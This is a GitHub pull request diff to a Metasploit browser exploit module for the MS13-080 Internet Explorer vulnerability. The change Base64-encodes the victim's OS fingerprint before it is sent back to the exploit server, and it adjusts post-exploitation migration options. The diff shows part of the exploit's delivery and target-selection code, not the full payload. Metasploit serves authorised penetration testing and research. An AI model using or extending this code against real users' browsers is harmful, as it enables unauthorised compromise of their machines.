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Use Base64 encoding for OS parameter #2528

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merged 2 commits into from
Oct 16, 2013
Merged

Use Base64 encoding for OS parameter #2528

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ac78f1c
Use Base64 encoding for OS parameter
wchen-r7 Oct 16, 2013
06a2122
Put PrependMigrate on hold because of #1674
wchen-r7 Oct 16, 2013
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11 changes: 9 additions & 2 deletions modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,7 @@ def initialize(info={})
},
'DefaultOptions' =>
{
#'PrependMigrate' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
Expand All @@ -88,6 +89,7 @@ def initialize(info={})
def get_check_html
%Q|<html>
<script>
#{js_base64}
#{js_os_detect}

function os() {
Expand Down Expand Up @@ -119,7 +121,7 @@ def get_check_html
}

window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
window.location = "#{get_resource}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
}
</script>
</html>
Expand Down Expand Up @@ -280,7 +282,12 @@ def get_sploit_html(target_info)

def on_request_uri(cli, request)
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
target_info =
{
:os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)),
:dll => Rex::Text.uri_decode($2)
}

sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return
Expand Down